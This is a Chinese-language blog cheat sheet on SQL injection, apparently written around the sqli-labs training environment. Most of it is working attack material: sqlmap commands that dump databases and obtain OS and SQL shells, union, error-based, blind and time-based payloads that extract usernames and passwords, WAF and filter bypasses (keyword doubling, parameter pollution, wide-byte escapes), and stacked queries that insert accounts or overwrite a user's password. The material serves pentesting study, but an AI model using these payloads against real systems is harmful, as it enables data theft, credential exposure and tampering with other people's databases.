SQL injection

First Post:

Last Update:

Word Count:
2.5k

Read Time:
11 min

Page View: loading...

[TOC]

闭合类型:

1
2
3
4
5
6
7
数字型
'
"
')
")
'))

在 user-agent、referer、cookie、

sqlmap

使用 sqlmap 时需要授权,不授权不可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
python sqlmap.py http://127.0.0.1/sqli-labs/Less-5/?id=-1  --- 输出漏洞和数据信息 

扫描数据库
python sqlmap.py -u http://example.com/index.php?id=1 --dbs
这将尝试查找任何可用的数据库,如果找到任何数据库,则会显示出来。

扫描表
python sqlmap.py -u http://example.com/index.php?id=1 -D database_name --tables
其中 database_name 是上一步中找到的数据库名称。这将尝试查找数据库中的任何表并列出它们的名称。

扫描列
python sqlmap.py -u http://example.com/index.php?id=1 -D database_name -T table_name --columns
其中 database_name 是数据库名称,table_name 是要扫描的表名。这将尝试找到表中的任何列并列出它们的名称。

抓包修改可用 sqlmap
启动 sqlmap 探测注入点
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch
爆破当前数据库名
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch --current-db
爆破数据表
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch -D security --tables
最后脱库
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch -D security -T users -
-dump
也可以将抓包内容保存,之后
sqlmap.py -r txt 文件位置 -p 要扫描的点
爆破数据库
sqlmap.py -r .txt 文件位置 -p 扫描的位置 --current-db
爆破表
sqlmap.py -r .txt 文件位置 -p 扫描的位置 -D security --tables
脱库
sqlmap.py -r .txt 文件位置 -p 扫描的位置 -D security --dump

在头部注入爆破中,sqlmap 需要提高扫描等级 level 和 risk,或将数据包保存,在需要检测的地方打上 *,

1
2
3
level x(x 为 1-5) 当为 2 时会对头部的 cookie 进行扫描注入尝试,x>=3 时队 user-Agent,ip,referer
参数进行扫描
risk x(x 1-3) 1 时进行大部分扫描 2 会增加基于事件的测试语句 3 会增加 or 语句的 sql 注入

![image-20240207212939979](sql inj/image-20240207212939979.png)

![image-20240207213045292](sql inj/image-20240207213045292.png)

sqlmap 加密注入

1
2
3
4
5
6
7
8
9
10
扫描 
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py"
爆破数据库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py" --current-db
爆破表单
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py" -D security -
-tables
脱库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py" -D security -
T users --dump

sqlmap 宽字节注入运用

宽字节注入需要使用模块 tamper 中的“unmagicquotes.py“

get 型常用参数

-u:指定注入的 URL sqlmap -u URL
–dbs:爆出所有数据库 sqlmap -u URL –dbs
–dbms:指定数据库类型 sqlmap -u URL –dbms=mysql
–users:查看数据库的所有用户 sqlmap -u URL –users
–current-user:查看数据库当前用户 sqlmap -u URL –current-user
–current-db:查看网站当前数据库 sqlmap -u URL –current-db
–is-dba:判断当前用户是否有管理员权限 sqlmap -u URL –is-dba
[11:57:52] [INFO] testing if current user is DBA
[11:57:52] [INFO] fetching current user
current user is DBA: True
–roles:列出数据库所有管理员角色,仅适用于 oracle 数据库 sqlmap -u URL –roles
–tables:爆出所有数据表 sqlmap -u URL -D 数据库名 –tables
–columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 –columns
–dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 –dump
–dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 –dump-all
–sql-shell:获取数据库 shell sqlmap -u URL –sql-shell
–os-shell:获取服务器 shell sqlmap -u URL –os-shell
–file-read:读取服务器文件 sqlmap -u URL –file-read “文件路径及名称”
–file-write 本地文件 –file-dist 目标文件路径及名称:将本地文件上传至目标服务器
–time-sec=2:延时注入 sqlmap -u URL –time-sec=2
–batch:探测过程中不进行询问,一律选择默认
-m:如果有多个 url 地址,可以把多个 url 保存成一个文本文件,-m 可以加载文本文件逐个扫描

post 型常用参数

-r:指定 POST 数据文件 sqlmap -r post.txt
–data:这种不需要将数据进行保存,只需要将 post 数据复制下来即可 sqlmap -u URL –data=”post 数据”
–forms:自动搜索表单的方式 sqlmap -u URL –forms
–cookie=”抓取的 cookie”:测试 cookie 字段
–param-del:参数拆分字符,当 GET 型或 POST 型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt –data=”query=foorbar;id=1” –param-del
–referer:在请求中伪造 http 中的 referer,当 level 参数设定为 3 或者 3 以上的时候会尝试对 referer 注入
–headers:增加额外的 http 头
–proxy:指定代理地址
-p:指定测试参数

联合注入

求列数,以便后续求显示位

1
?id=1 and 0 order by 3;

找显示位

1
?id=1') and 0 union select 1,2,3--+

查库

1
?id=1') and 0 union select 1,database(),3--+

查表

1
?id=1') and 0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

查列名

1
?id=1') and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" and table_schema=database()

查值

1
?id=1') and 0 union select 1,group_concat(id,0x7e,password,0x7e,username),3 from users

有数据库的报错,

报错注入

updatexml

updatexml 报错表名

1
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1)--+

updatexml 报错列名

1
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)),1)--+

updatexml 报错值(依次查询报错)

1
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)--+

报错密码或者数据过长时,用 substring()

1
updatexml(1,concat(0x7e,substring((select password from users limit 0,1), 32)),0)--+

extractvalue

extractvalue 报错库名

1
?id=1' and extractvalue(1,concat(0x7e,database()))--+

extractvalue 报错表名

1
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

extractvalue 报错列名

1
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+

extractvalue 报错值

1
?id=1' and extractvalue(1,(select group_concat(0x7e,id,0x7e,username,0x7e,password) from users))--+

group_concat 放不下时,可采用 limit 截断分开查询

floor

前提:知道有多少字段数

爆破库

1
?id=-1' union select 1,count(*),concat(0x7e(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+

爆破表名

1
2
3
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+

爆破字段

1
2
3
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+

爆破内容

1
2
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+

布尔盲注

1
2
3
4
5
6
7
8
9
10
 猜解数据库名字长度 
?id=-1' or length(database())=7--+

猜解数据库字符
?id=-1' or ascii(substr(database(),1,1))=115 或
?id=-1' or ascii(mid(database(),1,1))=115--+ 或
?id=-1' or mid(database(),1,1)='s'--+

同样猜表名与字段名
?id=-1' or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?--+

脚本

1

时间盲注

1
?id=-1' or if(length(database())=8,sleep(5),0)--+

响应时间变长说明条件正确

过滤绕过

and or 过滤

1
2
3
4
重写

oorr 或 ||
anandd 或 &&

空格注释过滤了

1
2
3
4
5
and 和 or 用 && || 代替,&& 时需要编码一下 
# -- 闭合逃逸
/s == 括号
空格 ---> %0a

或者盲注

使用十六进制

HTTP 参数污染

服务器端有两个部分:第一部分是 tomcat 为引擎的 jsp 型服务器,第二部分是 apache 为引擎的 php 服务

器,真正提供 web 服务的是 php 服务器,往往在 tomcat 的服务器处做过滤处理,功能类似于 waf,由于

解析参数的机制不同,我们可以利用该原理绕过 waf 的检测;数据解析的顺序:tomcat 从前往后,

appache 从后往前

1
2
3
4
5
6
?id=1&id=0' union select 1,2,(select group_concat(column_name)from
information_schema.columns where table_schema=database() and
table_name='users')--+

?id=1&id=0' union select 1,2,(select concat_ws(username,0x7e,password)from
security.users limit 0,1)--+

有转义

宽字节

宽字节注入,利用 mysql 使用 GBK 编码,将两个字符看作一个汉字的特性,消除转义符号””,使单引号

成功逃逸出来。这也是黑盒测试需要检测的一个点

1
2
3
4
5
6
7
8
9
10
11
12
13
get 型宽字节检验 payload
?id=1%df' and 1=1--+

判断字段数
?id=1%df' and 1=1 order by 4--+
找回显,信息收集
?id=1%df' and 1=2 union select 1,database(),3--+
爆破数据库表
?id=1%df' and 1=2 union select 1,2,group_concat(table_name)from
information_schema.tables where table_schema=database()--+
爆破字段内容:因为 'users' 中单引号会被转义,因此采取十六进制代替 'users'
?id=1%df' and 1=2 union select 1,2,group_concat(column_name)from
information_schema.columns where table_name=0x27757365727327--+

post 提交

不能使用 url 编码,但是可以使用十六进制编码绕过,但是需要使用三个字节,最好的

办法是是使用汉字(一些汉字是三个字节的就可以将后面的 \ 消耗)

post 中

1
2
uname= 汉 ' or updatexml(1,concat(0x7e,database(),0x7e),1)--
+&passwd=admin&submit=Submit

堆叠注入

mysqli_multi_query() 这个函数可以实现针对数据库一条或多多条数据的操作,这就导致可能产生堆叠

注入的存在,堆叠注入的危害比普通爆破更为强烈, 可以实现数据的增删改查,木马的写入,甚至直接破

环升格数据库

例如插入一条数据在 users 字段中, 两条不同 sql 语句用分号隔开

1
2
3
4
?id=1';insert into users(username,password)values('ikun','jinitaimei')--+

?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from
users)--+
1
2
堆叠注入修改 Dumb 账户的密码
?id=1');update security.users set password='IKUN' where username='Dumb'--+

% 匹配所有字段